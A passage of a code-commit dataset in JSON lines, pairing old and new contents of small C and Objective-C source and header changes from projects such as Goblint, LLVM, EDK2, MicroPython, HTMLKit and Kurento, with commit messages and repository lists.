z\/cefode-chromium,Jonekee\/chromium.src,ltilve\/chromium,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,keishi\/chromium,Jonekee\/chromium.src,Just-D\/chromium-1,robclark\/chromium,jaruba\/chromium.src,patrickm\/chromium.src,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,robclark\/chromium,zcbenz\/cefode-chromium,dushu1203\/chromium.src,keishi\/chromium,ltilve\/chromium,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,rogerwang\/chromium,robclark\/chromium,Fireblend\/chromium-crosswalk,keishi\/chromium,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,Jonekee\/chromium.src,littlstar\/chromium.src,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src"}
{"commit":"0709d82d1ad90a0882e22fd93e3cee8756061248","old_file":"tests\/regression\/06-symbeq\/37-funloop_index.c","new_file":"tests\/regression\/06-symbeq\/37-funloop_index.c","old_contents":"","new_contents":"\/\/ PARAM: --disable ana.mutex.disjoint_types --set ana.activated[+] \"'var_eq'\"  --set ana.activated[+] \"'symb_locks'\"\n\/\/ copy of 06\/02 with additional index accesses\n#include<pthread.h>\n#include<stdio.h>\n\nstruct cache_entry {\n  int refs;\n  pthread_mutex_t refs_mutex;\n} cache[10];\n\nvoid cache_entry_addref(struct cache_entry *entry) {\n  pthread_mutex_lock(&entry->refs_mutex);\n  entry->refs++; \/\/ NORACE\n  (*entry).refs++; \/\/ NORACE\n  entry[0].refs++; \/\/ NORACE\n  pthread_mutex_unlock(&entry->refs_mutex);\n}\n\nvoid *t_fun(void *arg) {\n  int i;\n  for(i=0; i<10; i++)\n    cache_entry_addref(&cache[i]); \/\/ NORACE\n  return NULL;\n}\n\nint main () {\n  for (int i = 0; i < 10; i++)\n    pthread_mutex_init(&cache[i].refs_mutex, NULL);\n\n  int i;\n  pthread_t t1;\n  pthread_create(&t1, NULL, t_fun, NULL);\n  for(i=0; i<10; i++)\n    cache_entry_addref(&cache[i]); \/\/ NORACE\n  return 0;\n}\n","subject":"Add symb_locks test with irrelevant index access","message":"Add symb_locks test with irrelevant index access\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"95309dd6fd16f076d78e184a1b49a26e464ffa8b","old_file":"src\/TundraCore\/Scene\/AttributeChangeType.h","new_file":"src\/TundraCore\/Scene\/AttributeChangeType.h","old_contents":"\/**\n    For conditions of distribution and use, see copyright notice in LICENSE\n\n    @file   AttributeChangeType.h\n    @brief  Dummy class containing enumeration of attribute\/component change types for replication.\n            This is done in separate file in order to overcome cyclic inclusion dependency\n            between IAttribute and IComponent. *\/\n\n#pragma once\n\n#include \"TundraCoreApi.h\"\n\nnamespace Tundra\n{\n\n\/\/\/ Dummy class containing enumeration of attribute\/component change types for replication.\nclass TUNDRACORE_API AttributeChange\n{\npublic:\n    \/\/\/ Enumeration of attribute\/component change types for replication\n    enum Type\n    {\n        \/\/\/ Use the current sync method specified in the IComponent this attribute is part of\n        Default = 0,\n        \/\/\/ The value will be changed, but no notifications will be sent (even locally). This\n        \/\/\/ is useful when you are doing batch updates of several attributes at a time and want to minimize\n        \/\/\/ the amount of re-processing that is done.\n        Disconnected,\n        \/\/\/ The value change will be signalled locally immediately after the change occurs, but\n        \/\/\/ it is not sent to the network.\n        LocalOnly,\n        \/\/\/ Replicate: After changing the value, the change will be signalled locally and this change is\n        \/\/\/ transmitted to the network as well.\n        Replicate\n    };\n};\n\n}","new_contents":"\/**\n    For conditions of distribution and use, see copyright notice in LICENSE\n\n    @file   AttributeChangeType.h\n    @brief  Enumeration of attribute\/component change types for replication.\n            This is done in separate file in order to overcome cyclic inclusion dependency\n            between IAttribute and IComponent. *\/\n\n#pragma once\n\n#include \"TundraCoreApi.h\"\n\nnamespace Tundra\n{\nnamespace AttributeChange\n{\n\/\/\/ Enumeration of attribute\/component change types for replication\nenum Type\n{\n    \/\/\/ Use the current sync method specified in the IComponent this attribute is part of\n    Default = 0,\n    \/\/\/ The value will be changed, but no notifications will be sent (even locally). This\n    \/\/\/ is useful when you are doing batch updates of several attributes at a time and want to minimize\n    \/\/\/ the amount of re-processing that is done.\n    Disconnected,\n    \/\/\/ The value change will be signalled locally immediately after the change occurs, but\n    \/\/\/ it is not sent to the network.\n    LocalOnly,\n    \/\/\/ Replicate: After changing the value, the change will be signalled locally and this change is\n    \/\/\/ transmitted to the network as well.\n    Replicate\n};\n} \/\/ ~AttributeChange\n} \/\/ ~Tundra\n","subject":"Make totally unnecessary AttributeChange class namespace instead keeping syntax intact.","message":"Make totally unnecessary AttributeChange class namespace instead keeping syntax intact.\n","lang":"C","license":"apache-2.0","repos":"realXtend\/tundra-urho3d,realXtend\/tundra-urho3d,realXtend\/tundra-urho3d,realXtend\/tundra-urho3d,realXtend\/tundra-urho3d"}
{"commit":"9a833c8121167c72036d5c9a0c3559674fbe2513","old_file":"MdePkg\/Library\/UefiIfrSupportLib\/UefiIfrLibraryInternal.h","new_file":"MdePkg\/Library\/UefiIfrSupportLib\/UefiIfrLibraryInternal.h","old_contents":"\/** @file\nUtility functions which helps in opcode creation, HII configuration string manipulations, \npop up window creations, setup browser persistence data set and get.\n\nCopyright (c) 2007 - 2008, Intel Corporation\nAll rights reserved. This program and the accompanying materials\nare licensed and made available under the terms and conditions of the BSD License\nwhich accompanies this distribution.  The full text of the license may be found at\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\n\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\n\n\n**\/\n\n#ifndef _IFRLIBRARY_INTERNAL_H_\n#define _IFRLIBRARY_INTERNAL_H_\n\n\n#include <Uefi.h>\n\n#include <Protocol\/DevicePath.h>\n\n#include <Library\/DebugLib.h>\n#include <Library\/BaseMemoryLib.h>\n#include <Library\/UefiBootServicesTableLib.h>\n#include <Library\/BaseLib.h>\n#include <Library\/DevicePathLib.h>\n#include <Library\/MemoryAllocationLib.h>\n#include <Library\/IfrSupportLib.h>\n\n\n#endif\n\n","new_contents":"\/** @file\nUtility functions which helps in opcode creation, HII configuration string manipulations, \npop up window creations, setup browser persistence data set and get.\n\nCopyright (c) 2007 - 2008, Intel Corporation\nAll rights reserved. This program and the accompanying materials\nare licensed and made available under the terms and conditions of the BSD License\nwhich accompanies this distribution.  The full text of the license may be found at\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\n\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\n\n\n**\/\n\n#ifndef _IFRLIBRARY_INTERNAL_H_\n#define _IFRLIBRARY_INTERNAL_H_\n\n\n#include <Uefi.h>\n\n#include <Protocol\/DevicePath.h>\n#include <Protocol\/HiiConfigRouting.h>\r\n#include <Protocol\/FormBrowser2.h>\r\n\n#include <Library\/DebugLib.h>\n#include <Library\/BaseMemoryLib.h>\n#include <Library\/UefiBootServicesTableLib.h>\n#include <Library\/BaseLib.h>\n#include <Library\/DevicePathLib.h>\n#include <Library\/MemoryAllocationLib.h>\n#include <Library\/IfrSupportLib.h>\n\n\n#endif\n\n","subject":"Add missing protocol header file.","message":"Add missing protocol header file.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@6265 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"ffa8a7e219db655b8cf1a6a091b4e599813a5ebd","old_file":"Pod\/Classes\/AVEHTTPRequestOperationBuilder.h","new_file":"Pod\/Classes\/AVEHTTPRequestOperationBuilder.h","old_contents":"\/\/\n\/\/  AVEHTTPRequestOperationBuilder.h\n\/\/  Avenue\n\/\/\n\/\/  Created by MediaHound on 10\/31\/14.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <AFNetworking\/AFNetworking.h>\n\n#import \"AVERequestBuilder.h\"\n\n\n\/**\n * A simple AVERequestBuilder that can be configured with a baseURL, request\/response serializers,\n * and a security policy.\n * \n * Typically, you can instantiate and configure a single AVEHTTPRequestOperationBuilder,\n * and reususe it when passing in a builder to `AVENetworkManager` methods.\n *\/\n@interface AVEHTTPRequestOperationBuilder : NSObject <AVERequestBuilder>\n\n\/**\n * Creates a builder with a base URL.\n *\/\n- (instancetype)initWithBaseURL:(NSString*)url;\n\n\/**\n * The builders' base URL\n * All operations built will use this base URL.\n *\/\n@property (strong, nonatomic) NSURL* baseURL;\n\n\/**\n * The request serializer for all built operations\n *\/\n@property (strong, nonatomic) AFHTTPRequestSerializer<AFURLRequestSerialization>* requestSerializer;\n\n\/**\n * The response serializer for all built operations\n *\/\n@property (strong, nonatomic) AFHTTPResponseSerializer<AFURLResponseSerialization>* responseSerializer;\n\n\/**\n * The security policy for all built operations\n *\/\n@property (strong, nonatomic) AFSecurityPolicy* securityPolicy;\n\n@end\n","new_contents":"\/\/\n\/\/  AVEHTTPRequestOperationBuilder.h\n\/\/  Avenue\n\/\/\n\/\/  Created by MediaHound on 10\/31\/14.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <AFNetworking\/AFNetworking.h>\n\n#import \"AVERequestBuilder.h\"\n\n\n\/**\n * A simple AVERequestBuilder that can be configured with a baseURL, request\/response serializers,\n * and a security policy.\n * \n * Typically, you can instantiate and configure a single AVEHTTPRequestOperationBuilder,\n * and reususe it when passing in a builder to `AVENetworkManager` methods.\n *\/\n@interface AVEHTTPRequestOperationBuilder : NSObject <AVERequestBuilder>\n\n\/**\n * Creates a builder with a base URL.\n *\/\n- (instancetype)initWithBaseURL:(NSURL*)url;\n\n\/**\n * The builders' base URL\n * All operations built will use this base URL.\n *\/\n@property (strong, nonatomic) NSURL* baseURL;\n\n\/**\n * The request serializer for all built operations\n *\/\n@property (strong, nonatomic) AFHTTPRequestSerializer<AFURLRequestSerialization>* requestSerializer;\n\n\/**\n * The response serializer for all built operations\n *\/\n@property (strong, nonatomic) AFHTTPResponseSerializer<AFURLResponseSerialization>* responseSerializer;\n\n\/**\n * The security policy for all built operations\n *\/\n@property (strong, nonatomic) AFSecurityPolicy* securityPolicy;\n\n@end\n","subject":"Update initWithBaseURL to take a URL","message":"Update initWithBaseURL to take a URL\n","lang":"C","license":"apache-2.0","repos":"MediaHound\/Avenue"}
{"commit":"ecef06a4970c3d6283b62be2ceeb0d8c96f039d8","old_file":"include\/llvm\/Transforms\/Utils\/PromoteMemToReg.h","new_file":"include\/llvm\/Transforms\/Utils\/PromoteMemToReg.h","old_contents":"\/\/===- PromoteMemToReg.h - Promote Allocas to Scalars -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file exposes an interface to promote alloca instructions to SSA\n\/\/ registers, by using the SSA construction algorithm.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef TRANSFORMS_UTILS_PROMOTEMEMTOREG_H\n#define TRANSFORMS_UTILS_PROMOTEMEMTOREG_H\n\n#include <vector>\n\nnamespace llvm {\n\nclass AllocaInst;\nclass DominatorTree;\nclass DominanceFrontier;\nclass AliasSetTracker;\n\n\/\/\/ isAllocaPromotable - Return true if this alloca is legal for promotion.\n\/\/\/ This is true if there are only loads and stores to the alloca...\n\/\/\/\nbool isAllocaPromotable(const AllocaInst *AI);\n\n\/\/\/ PromoteMemToReg - Promote the specified list of alloca instructions into\n\/\/\/ scalar registers, inserting PHI nodes as appropriate.  This function makes\n\/\/\/ use of DominanceFrontier information.  This function does not modify the CFG\n\/\/\/ of the function at all.  All allocas must be from the same function.\n\/\/\/\n\/\/\/ If AST is specified, the specified tracker is updated to reflect changes\n\/\/\/ made to the IR.\n\/\/\/\nvoid PromoteMemToReg(const std::vector<AllocaInst*> &Allocas,\n                     DominatorTree &DT, AliasSetTracker *AST = 0);\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- PromoteMemToReg.h - Promote Allocas to Scalars -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file exposes an interface to promote alloca instructions to SSA\n\/\/ registers, by using the SSA construction algorithm.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef TRANSFORMS_UTILS_PROMOTEMEMTOREG_H\n#define TRANSFORMS_UTILS_PROMOTEMEMTOREG_H\n\n#include <vector>\n\nnamespace llvm {\n\nclass AllocaInst;\nclass DominatorTree;\nclass AliasSetTracker;\n\n\/\/\/ isAllocaPromotable - Return true if this alloca is legal for promotion.\n\/\/\/ This is true if there are only loads and stores to the alloca...\n\/\/\/\nbool isAllocaPromotable(const AllocaInst *AI);\n\n\/\/\/ PromoteMemToReg - Promote the specified list of alloca instructions into\n\/\/\/ scalar registers, inserting PHI nodes as appropriate.  This function makes\n\/\/\/ use of DominanceFrontier information.  This function does not modify the CFG\n\/\/\/ of the function at all.  All allocas must be from the same function.\n\/\/\/\n\/\/\/ If AST is specified, the specified tracker is updated to reflect changes\n\/\/\/ made to the IR.\n\/\/\/\nvoid PromoteMemToReg(const std::vector<AllocaInst*> &Allocas,\n                     DominatorTree &DT, AliasSetTracker *AST = 0);\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Remove a stale forward declaration.","message":"Remove a stale forward declaration.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@156770 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"ad5169ceccdaa800c2c81d46148700ceeb806e48","old_file":"AFToolkit\/AFToolkit.h","new_file":"AFToolkit\/AFToolkit.h","old_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n\/\/ Macros\n#import \"AFDefines.h\"\n#import \"AFKeypath.h\"\n\n\/\/ Categories\n#import \"NSObject+Runtime.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"UITableView+Universal.h\"\n#import \"UIView+Render.h\"\n\n\/\/ Common\n#import \"AFArray.h\"\n#import \"AFArrayView.h\"\n#import \"AFFileHelper.h\"\n#import \"AFKVO.h\"\n#import \"AFLogHelper.h\"\n#import \"AFMutableArray.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFReachability.h\"\n\n\/\/ Object provider\n#import \"AFObjectProvider.h\"\n\n\/\/ Database\n#import \"AFDBClient.h\"\n\n\/\/ MVC\n#import \"AFView.h\"\n#import \"AFViewController.h\"\n#import \"AFTableView.h\"","new_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n\/\/ Macros\n#import \"AFDefines.h\"\n#import \"AFKeypath.h\"\n\n\/\/ Categories\n#import \"NSObject+Runtime.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"UITableView+Universal.h\"\n#import \"UIView+Render.h\"\n\n\/\/ Common\n#import \"AFArray.h\"\n#import \"AFArrayView.h\"\n#import \"AFFileHelper.h\"\n#import \"AFKVO.h\"\n#import \"AFLogHelper.h\"\n#import \"AFMutableArray.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFReachability.h\"\n\n\/\/ Object provider\n#import \"AFObjectProvider.h\"\n#import \"AFObjectModel.h\"\n\n\/\/ Database\n#import \"AFDBClient.h\"\n\n\/\/ MVC\n#import \"AFView.h\"\n#import \"AFViewController.h\"\n#import \"AFTableView.h\"","subject":"Add object model to toolkit.h.","message":"Add object model to toolkit.h.\n","lang":"C","license":"mit","repos":"mlatham\/AFToolkit"}
{"commit":"25c233eaaaf0621eed969fb0b0a32fac4c56ab09","old_file":"HTMLKit\/HTMLElement.h","new_file":"HTMLKit\/HTMLElement.h","old_contents":"\/\/\n\/\/  HTMLElement.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 05\/10\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface HTMLElement : NSObject\n\n@end\n","new_contents":"\/\/\n\/\/  HTMLElement.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 05\/10\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface HTMLElement : NSObject\n\n@property (nonatomic, strong, readonly) NSString *tagName;\n\n@end\n","subject":"Add tagname attribute for HTML Element","message":"Add tagname attribute for HTML Element\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
{"commit":"0487e2384269e8de92fae35958b1d271c0a649a7","old_file":"ports\/nrf\/boards\/arduino_primo\/nrf52_hal_conf.h","new_file":"ports\/nrf\/boards\/arduino_primo\/nrf52_hal_conf.h","old_contents":"#ifndef NRF52_HAL_CONF_H__\n#define NRF52_HAL_CONF_H__\n\n#define HAL_UART_MODULE_ENABLED\n#define HAL_SPI_MODULE_ENABLED\n#define HAL_TIME_MODULE_ENABLED\n#define HAL_PWM_MODULE_ENABLED\n#define HAL_RTC_MODULE_ENABLED\n#define HAL_TIMER_MODULE_ENABLED\n#define HAL_TWI_MODULE_ENABLED\n#define HAL_ADCE_MODULE_ENABLED\n#define HAL_TEMP_MODULE_ENABLED\n\/\/ #define HAL_UARTE_MODULE_ENABLED\n\/\/ #define HAL_SPIE_MODULE_ENABLED\n\/\/ #define HAL_TWIE_MODULE_ENABLED\n\n#endif \/\/ NRF52_HAL_CONF_H__\n","new_contents":"#ifndef NRF52_HAL_CONF_H__\n#define NRF52_HAL_CONF_H__\n\n#define HAL_UART_MODULE_ENABLED\n#define HAL_SPI_MODULE_ENABLED\n#define HAL_TIME_MODULE_ENABLED\n#define HAL_PWM_MODULE_ENABLED\n#define HAL_RTC_MODULE_ENABLED\n#define HAL_TIMER_MODULE_ENABLED\n#define HAL_TWI_MODULE_ENABLED\n#define HAL_ADCE_MODULE_ENABLED\n#define HAL_TEMP_MODULE_ENABLED\n#define HAL_RNG_MODULE_ENABLED\n\/\/ #define HAL_UARTE_MODULE_ENABLED\n\/\/ #define HAL_SPIE_MODULE_ENABLED\n\/\/ #define HAL_TWIE_MODULE_ENABLED\n\n#endif \/\/ NRF52_HAL_CONF_H__\n","subject":"Add missing hal_rng config used by random mod.","message":"nrf\/boards\/arduino_primo: Add missing hal_rng config used by random mod.\n","lang":"C","license":"mit","repos":"pfalcon\/micropython,tobbad\/micropython,bvernoux\/micropython,trezor\/micropython,pramasoul\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,selste\/micropython,pramasoul\/micropython,pozetroninc\/micropython,pozetroninc\/micropython,bvernoux\/micropython,tobbad\/micropython,pozetroninc\/micropython,pfalcon\/micropython,pramasoul\/micropython,kerneltask\/micropython,kerneltask\/micropython,MrSurly\/micropython,MrSurly\/micropython,henriknelson\/micropython,MrSurly\/micropython,trezor\/micropython,pfalcon\/micropython,selste\/micropython,kerneltask\/micropython,tobbad\/micropython,pozetroninc\/micropython,MrSurly\/micropython,henriknelson\/micropython,trezor\/micropython,pramasoul\/micropython,selste\/micropython,henriknelson\/micropython,bvernoux\/micropython,adafruit\/circuitpython,tobbad\/micropython,kerneltask\/micropython,pramasoul\/micropython,henriknelson\/micropython,selste\/micropython,selste\/micropython,adafruit\/circuitpython,bvernoux\/micropython,trezor\/micropython,adafruit\/circuitpython,kerneltask\/micropython,pfalcon\/micropython,bvernoux\/micropython,henriknelson\/micropython,trezor\/micropython,pozetroninc\/micropython,adafruit\/circuitpython,tobbad\/micropython,pfalcon\/micropython,MrSurly\/micropython"}
{"commit":"10a72b878021a75c8e28c5244205f0687862e4e4","old_file":"tests\/regression\/31-ikind-aware-ints\/17-def-enum-refine.c","new_file":"tests\/regression\/31-ikind-aware-ints\/17-def-enum-refine.c","old_contents":"","new_contents":"\/\/PARAM: --sets ana.int.refinement once  --enable ana.int.enums\nint main() {\n  int x;\n  _Bool c;\n  if(c) { x--;}\n  else { x--;}\n  \/\/ The veryfier claimed that the fixed-point was not reached here due to a bug in Enums.leq\n  \/\/ The leq wrongly returned false for the Enums {0} and not{}[0,1]\n  return 0;\n}\n","subject":"Add failing test case due to buggy Enums.leq","message":"Add failing test case due to buggy Enums.leq\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"33dfe3a73eeb4e115247a18a46029740ab4cf31d","old_file":"include\/arch\/x64\/cpu.h","new_file":"include\/arch\/x64\/cpu.h","old_contents":"#pragma once\n\n#include <truth\/types.h>\n\n#define CPUID_SMAP (1 << 20)\n#define CPUID_SMEP (1 << 7)\n\nstatic inline void cpuid(uint32_t *eax, uint32_t *ebx, uint32_t *ecx, uint32_t *edx) {\n    __asm__ volatile (\"cpuid\" :\n            \"=a\"(*eax),\n            \"=b\"(*ebx),\n            \"=c\"(*ecx),\n            \"=d\"(*edx)\n            : \"0\" (*eax), \"2\" (*ecx)\n            :);\n}\n\nstatic inline void cpu_flags_set_ac(void) {\n    __asm__ volatile (\"stac\" ::: \"cc\");\n}\n\nstatic inline void cpu_flags_clear_ac(void) {\n    __asm__ volatile (\"clac\" ::: \"cc\");\n}\n\nstatic inline void cpu_cr4_set_bit(int bit) {\n    __asm__ volatile (\"push %%rax\\n\"\n                      \"movq %%cr4, %%rax\\n\"\n                      \"orq $0, %%rax\\n\"\n                      \"movq %%rax, %%cr4\\n\"\n                      \"pop %%rax\\n\"\n            : : \"a\"(bit));\n}\n\nstatic inline void cpu_cr4_clear_bit(int bit) {\n    int mask = ~(1 << bit);\n    __asm__ volatile (\"andq %0, %%cr4\" : : \"a\"(mask));\n}\n","new_contents":"#pragma once\n\n#include <truth\/types.h>\n\n#define CPUID_SMAP (1 << 20)\n#define CPUID_SMEP (1 << 7)\n\n#define CPU_CR4_SMEP_BIT 20\n#define CPU_CR4_SMAP_BIT 21\n\nstatic inline void cpuid(uint32_t *eax, uint32_t *ebx, uint32_t *ecx, uint32_t *edx) {\n    __asm__ volatile (\"cpuid\" :\n            \"=a\"(*eax),\n            \"=b\"(*ebx),\n            \"=c\"(*ecx),\n            \"=d\"(*edx)\n            : \"0\" (*eax), \"2\" (*ecx)\n            :);\n}\n\nstatic inline void cpu_flags_set_ac(void) {\n    __asm__ volatile (\"stac\" ::: \"cc\");\n}\n\nstatic inline void cpu_flags_clear_ac(void) {\n    __asm__ volatile (\"clac\" ::: \"cc\");\n}\n\nstatic inline void cpu_cr4_set_bit(int bit) {\n    __asm__ volatile (\"push %%rax\\n\"\n                      \"movq %%cr4, %%rax\\n\"\n                      \"orq $0, %%rax\\n\"\n                      \"movq %%rax, %%cr4\\n\"\n                      \"pop %%rax\\n\"\n            : : \"a\"(bit));\n}\n\nstatic inline void cpu_cr4_clear_bit(int bit) {\n    int mask = ~(1 << bit);\n    __asm__ volatile (\"andq %0, %%cr4\" : : \"a\"(mask));\n}\n","subject":"Define cr4 SMEP & SMAP bits","message":"Define cr4 SMEP & SMAP bits\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"ae86bb5dc591f0e2f6e423499e84bb603a3573e7","old_file":"src\/gst-plugins\/crowddetector\/crowddetector.c","new_file":"src\/gst-plugins\/crowddetector\/crowddetector.c","old_contents":"\/*\n * (C) Copyright 2013 Kurento (http:\/\/kurento.org\/)\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the GNU Lesser General Public License\n * (LGPL) version 2.1 which accompanies this distribution, and is available at\n * http:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n#include <config.h>\n#include <gst\/gst.h>\n\n#include \"kmscrowddetector.h\"\n\nstatic gboolean\ninit (GstPlugin * plugin)\n{\n  if (!kms_crowd_detector_plugin_init (plugin))\n    return FALSE;\n\n  return TRUE;\n}\n\nGST_PLUGIN_DEFINE (GST_VERSION_MAJOR,\n    GST_VERSION_MINOR,\n    kmscrowddetector,\n    \"Kurento plate detector\",\n    init, VERSION, GST_LICENSE_UNKNOWN, \"Kurento\", \"http:\/\/kurento.com\/\")\n","new_contents":"\/*\n * (C) Copyright 2013 Kurento (http:\/\/kurento.org\/)\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the GNU Lesser General Public License\n * (LGPL) version 2.1 which accompanies this distribution, and is available at\n * http:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n#include <config.h>\n#include <gst\/gst.h>\n\n#include \"kmscrowddetector.h\"\n\nstatic gboolean\ninit (GstPlugin * plugin)\n{\n  if (!kms_crowd_detector_plugin_init (plugin))\n    return FALSE;\n\n  return TRUE;\n}\n\nGST_PLUGIN_DEFINE (GST_VERSION_MAJOR,\n    GST_VERSION_MINOR,\n    kmscrowddetector,\n    \"Kurento crowd detector\",\n    init, VERSION, GST_LICENSE_UNKNOWN, \"Kurento\", \"http:\/\/kurento.com\/\")\n","subject":"Fix error in plugin description","message":"Fix error in plugin description\n\nChange-Id: I2d51e500ed5babb084e5f281c13843bd43f9a690\n","lang":"C","license":"apache-2.0","repos":"Kurento\/kms-crowddetector,Kurento\/kms-crowddetector,Kurento\/kms-crowddetector"}
